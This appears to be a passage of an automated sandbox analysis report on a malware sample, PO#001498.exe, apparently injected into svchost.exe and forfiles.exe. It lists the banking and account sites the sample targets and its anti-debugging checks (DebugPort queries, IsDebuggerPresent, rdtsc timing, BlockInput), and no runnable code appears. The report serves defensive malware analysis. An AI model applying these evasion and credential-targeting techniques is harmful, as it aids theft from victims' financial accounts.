            Source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F35000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlld
            Source: 20Y-W08y.12.drBinary or memory string: global block list test formVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: dev.azure.comVMware20,11696492231j
            Source: 20Y-W08y.12.drBinary or memory string: www.interactivebrokers.comVMware20,11696492231}
            Source: 20Y-W08y.12.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
            Source: 20Y-W08y.12.drBinary or memory string: bankofamerica.comVMware20,11696492231x
            Source: 20Y-W08y.12.drBinary or memory string: trackpan.utiitsl.comVMware20,11696492231h
            Source: 20Y-W08y.12.drBinary or memory string: tasks.office.comVMware20,11696492231o
            Source: 20Y-W08y.12.drBinary or memory string: account.microsoft.com/profileVMware20,11696492231u
            Source: 20Y-W08y.12.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: ms.portal.azure.comVMware20,11696492231
            Source: 20Y-W08y.12.drBinary or memory string: turbotax.intuit.comVMware20,11696492231t
            Source: 20Y-W08y.12.drBinary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
            Source: 20Y-W08y.12.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231x
            Source: 20Y-W08y.12.drBinary or memory string: Interactive Brokers - HKVMware20,11696492231]
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0387096E rdtsc 8_2_0387096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_00417683 LdrLoadDll,8_2_00417683
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0427A4B8 mov eax, dword ptr fs:[00000030h]0_2_0427A4B8
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0427A518 mov eax, dword ptr fs:[00000030h]0_2_0427A518
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_04278E78 mov eax, dword ptr fs:[00000030h]0_2_04278E78
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382E388 mov eax, dword ptr fs:[00000030h]8_2_0382E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382E388 mov eax, dword ptr fs:[00000030h]8_2_0382E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382E388 mov eax, dword ptr fs:[00000030h]8_2_0382E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385438F mov eax, dword ptr fs:[00000030h]8_2_0385438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385438F mov eax, dword ptr fs:[00000030h]8_2_0385438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03828397 mov eax, dword ptr fs:[00000030h]8_2_03828397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03828397 mov eax, dword ptr fs:[00000030h]8_2_03828397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03828397 mov eax, dword ptr fs:[00000030h]8_2_03828397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EC3CD mov eax, dword ptr fs:[00000030h]8_2_038EC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A3C0 mov eax, dword ptr fs:[00000030h]8_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A3C0 mov eax, dword ptr fs:[00000030h]8_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A3C0 mov eax, dword ptr fs:[00000030h]8_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A3C0 mov eax, dword ptr fs:[00000030h]8_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A3C0 mov eax, dword ptr fs:[00000030h]8_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A3C0 mov eax, dword ptr fs:[00000030h]8_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038383C0 mov eax, dword ptr fs:[00000030h]8_2_038383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038383C0 mov eax, dword ptr fs:[00000030h]8_2_038383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038383C0 mov eax, dword ptr fs:[00000030h]8_2_038383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038383C0 mov eax, dword ptr fs:[00000030h]8_2_038383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B63C0 mov eax, dword ptr fs:[00000030h]8_2_038B63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE3DB mov eax, dword ptr fs:[00000030h]8_2_038DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE3DB mov eax, dword ptr fs:[00000030h]8_2_038DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE3DB mov ecx, dword ptr fs:[00000030h]8_2_038DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE3DB mov eax, dword ptr fs:[00000030h]8_2_038DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D43D4 mov eax, dword ptr fs:[00000030h]8_2_038D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D43D4 mov eax, dword ptr fs:[00000030h]8_2_038D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038403E9 mov eax, dword ptr fs:[00000030h]8_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038403E9 mov eax, dword ptr fs:[00000030h]8_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038403E9 mov eax, dword ptr fs:[00000030h]8_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038403E9 mov eax, dword ptr fs:[00000030h]8_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038403E9 mov eax, dword ptr fs:[00000030h]8_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038403E9 mov eax, dword ptr fs:[00000030h]8_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038403E9 mov eax, dword ptr fs:[00000030h]8_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038403E9 mov eax, dword ptr fs:[00000030h]8_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E3F0 mov eax, dword ptr fs:[00000030h]8_2_0384E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E3F0 mov eax, dword ptr fs:[00000030h]8_2_0384E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E3F0 mov eax, dword ptr fs:[00000030h]8_2_0384E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038663FF mov eax, dword ptr fs:[00000030h]8_2_038663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A30B mov eax, dword ptr fs:[00000030h]8_2_0386A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A30B mov eax, dword ptr fs:[00000030h]8_2_0386A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A30B mov eax, dword ptr fs:[00000030h]8_2_0386A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382C310 mov ecx, dword ptr fs:[00000030h]8_2_0382C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03850310 mov ecx, dword ptr fs:[00000030h]8_2_03850310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03908324 mov eax, dword ptr fs:[00000030h]8_2_03908324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03908324 mov ecx, dword ptr fs:[00000030h]8_2_03908324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03908324 mov eax, dword ptr fs:[00000030h]8_2_03908324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03908324 mov eax, dword ptr fs:[00000030h]8_2_03908324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B2349 mov eax, dword ptr fs:[00000030h]8_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B035C mov eax, dword ptr fs:[00000030h]8_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B035C mov eax, dword ptr fs:[00000030h]8_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B035C mov eax, dword ptr fs:[00000030h]8_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B035C mov ecx, dword ptr fs:[00000030h]8_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B035C mov eax, dword ptr fs:[00000030h]8_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B035C mov eax, dword ptr fs:[00000030h]8_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FA352 mov eax, dword ptr fs:[00000030h]8_2_038FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D8350 mov ecx, dword ptr fs:[00000030h]8_2_038D8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0390634F mov eax, dword ptr fs:[00000030h]8_2_0390634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D437C mov eax, dword ptr fs:[00000030h]8_2_038D437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E284 mov eax, dword ptr fs:[00000030h]8_2_0386E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E284 mov eax, dword ptr fs:[00000030h]8_2_0386E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B0283 mov eax, dword ptr fs:[00000030h]8_2_038B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B0283 mov eax, dword ptr fs:[00000030h]8_2_038B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B0283 mov eax, dword ptr fs:[00000030h]8_2_038B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038402A0 mov eax, dword ptr fs:[00000030h]8_2_038402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038402A0 mov eax, dword ptr fs:[00000030h]8_2_038402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C62A0 mov eax, dword ptr fs:[00000030h]8_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C62A0 mov ecx, dword ptr fs:[00000030h]8_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C62A0 mov eax, dword ptr fs:[00000030h]8_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C62A0 mov eax, dword ptr fs:[00000030h]8_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C62A0 mov eax, dword ptr fs:[00000030h]8_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C62A0 mov eax, dword ptr fs:[00000030h]8_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A2C3 mov eax, dword ptr fs:[00000030h]8_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A2C3 mov eax, dword ptr fs:[00000030h]8_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A2C3 mov eax, dword ptr fs:[00000030h]8_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A2C3 mov eax, dword ptr fs:[00000030h]8_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383A2C3 mov eax, dword ptr fs:[00000030h]8_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_039062D6 mov eax, dword ptr fs:[00000030h]8_2_039062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038402E1 mov eax, dword ptr fs:[00000030h]8_2_038402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038402E1 mov eax, dword ptr fs:[00000030h]8_2_038402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038402E1 mov eax, dword ptr fs:[00000030h]8_2_038402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382823B mov eax, dword ptr fs:[00000030h]8_2_0382823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B8243 mov eax, dword ptr fs:[00000030h]8_2_038B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B8243 mov ecx, dword ptr fs:[00000030h]8_2_038B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0390625D mov eax, dword ptr fs:[00000030h]8_2_0390625D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382A250 mov eax, dword ptr fs:[00000030h]8_2_0382A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836259 mov eax, dword ptr fs:[00000030h]8_2_03836259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EA250 mov eax, dword ptr fs:[00000030h]8_2_038EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EA250 mov eax, dword ptr fs:[00000030h]8_2_038EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03834260 mov eax, dword ptr fs:[00000030h]8_2_03834260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03834260 mov eax, dword ptr fs:[00000030h]8_2_03834260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03834260 mov eax, dword ptr fs:[00000030h]8_2_03834260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382826B mov eax, dword ptr fs:[00000030h]8_2_0382826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E0274 mov eax, dword ptr fs:[00000030h]8_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03870185 mov eax, dword ptr fs:[00000030h]8_2_03870185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EC188 mov eax, dword ptr fs:[00000030h]8_2_038EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EC188 mov eax, dword ptr fs:[00000030h]8_2_038EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D4180 mov eax, dword ptr fs:[00000030h]8_2_038D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D4180 mov eax, dword ptr fs:[00000030h]8_2_038D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B019F mov eax, dword ptr fs:[00000030h]8_2_038B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B019F mov eax, dword ptr fs:[00000030h]8_2_038B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B019F mov eax, dword ptr fs:[00000030h]8_2_038B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B019F mov eax, dword ptr fs:[00000030h]8_2_038B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382A197 mov eax, dword ptr fs:[00000030h]8_2_0382A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382A197 mov eax, dword ptr fs:[00000030h]8_2_0382A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382A197 mov eax, dword ptr fs:[00000030h]8_2_0382A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F61C3 mov eax, dword ptr fs:[00000030h]8_2_038F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F61C3 mov eax, dword ptr fs:[00000030h]8_2_038F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE1D0 mov eax, dword ptr fs:[00000030h]8_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE1D0 mov eax, dword ptr fs:[00000030h]8_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE1D0 mov ecx, dword ptr fs:[00000030h]8_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE1D0 mov eax, dword ptr fs:[00000030h]8_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE1D0 mov eax, dword ptr fs:[00000030h]8_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_039061E5 mov eax, dword ptr fs:[00000030h]8_2_039061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038601F8 mov eax, dword ptr fs:[00000030h]8_2_038601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov eax, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov ecx, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov eax, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov eax, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov ecx, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov eax, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov eax, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov ecx, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov eax, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DE10E mov ecx, dword ptr fs:[00000030h]8_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DA118 mov ecx, dword ptr fs:[00000030h]8_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DA118 mov eax, dword ptr fs:[00000030h]8_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DA118 mov eax, dword ptr fs:[00000030h]8_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DA118 mov eax, dword ptr fs:[00000030h]8_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F0115 mov eax, dword ptr fs:[00000030h]8_2_038F0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03860124 mov eax, dword ptr fs:[00000030h]8_2_03860124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C4144 mov eax, dword ptr fs:[00000030h]8_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C4144 mov eax, dword ptr fs:[00000030h]8_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C4144 mov ecx, dword ptr fs:[00000030h]8_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C4144 mov eax, dword ptr fs:[00000030h]8_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C4144 mov eax, dword ptr fs:[00000030h]8_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382C156 mov eax, dword ptr fs:[00000030h]8_2_0382C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C8158 mov eax, dword ptr fs:[00000030h]8_2_038C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836154 mov eax, dword ptr fs:[00000030h]8_2_03836154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836154 mov eax, dword ptr fs:[00000030h]8_2_03836154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904164 mov eax, dword ptr fs:[00000030h]8_2_03904164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904164 mov eax, dword ptr fs:[00000030h]8_2_03904164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383208A mov eax, dword ptr fs:[00000030h]8_2_0383208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038280A0 mov eax, dword ptr fs:[00000030h]8_2_038280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C80A8 mov eax, dword ptr fs:[00000030h]8_2_038C80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F60B8 mov eax, dword ptr fs:[00000030h]8_2_038F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F60B8 mov ecx, dword ptr fs:[00000030h]8_2_038F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B20DE mov eax, dword ptr fs:[00000030h]8_2_038B20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382A0E3 mov ecx, dword ptr fs:[00000030h]8_2_0382A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038380E9 mov eax, dword ptr fs:[00000030h]8_2_038380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B60E0 mov eax, dword ptr fs:[00000030h]8_2_038B60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382C0F0 mov eax, dword ptr fs:[00000030h]8_2_0382C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038720F0 mov ecx, dword ptr fs:[00000030h]8_2_038720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B4000 mov ecx, dword ptr fs:[00000030h]8_2_038B4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D2000 mov eax, dword ptr fs:[00000030h]8_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D2000 mov eax, dword ptr fs:[00000030h]8_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D2000 mov eax, dword ptr fs:[00000030h]8_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D2000 mov eax, dword ptr fs:[00000030h]8_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D2000 mov eax, dword ptr fs:[00000030h]8_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D2000 mov eax, dword ptr fs:[00000030h]8_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D2000 mov eax, dword ptr fs:[00000030h]8_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D2000 mov eax, dword ptr fs:[00000030h]8_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E016 mov eax, dword ptr fs:[00000030h]8_2_0384E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E016 mov eax, dword ptr fs:[00000030h]8_2_0384E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E016 mov eax, dword ptr fs:[00000030h]8_2_0384E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E016 mov eax, dword ptr fs:[00000030h]8_2_0384E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382A020 mov eax, dword ptr fs:[00000030h]8_2_0382A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382C020 mov eax, dword ptr fs:[00000030h]8_2_0382C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C6030 mov eax, dword ptr fs:[00000030h]8_2_038C6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03832050 mov eax, dword ptr fs:[00000030h]8_2_03832050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B6050 mov eax, dword ptr fs:[00000030h]8_2_038B6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385C073 mov eax, dword ptr fs:[00000030h]8_2_0385C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D678E mov eax, dword ptr fs:[00000030h]8_2_038D678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038307AF mov eax, dword ptr fs:[00000030h]8_2_038307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E47A0 mov eax, dword ptr fs:[00000030h]8_2_038E47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383C7C0 mov eax, dword ptr fs:[00000030h]8_2_0383C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B07C3 mov eax, dword ptr fs:[00000030h]8_2_038B07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038527ED mov eax, dword ptr fs:[00000030h]8_2_038527ED
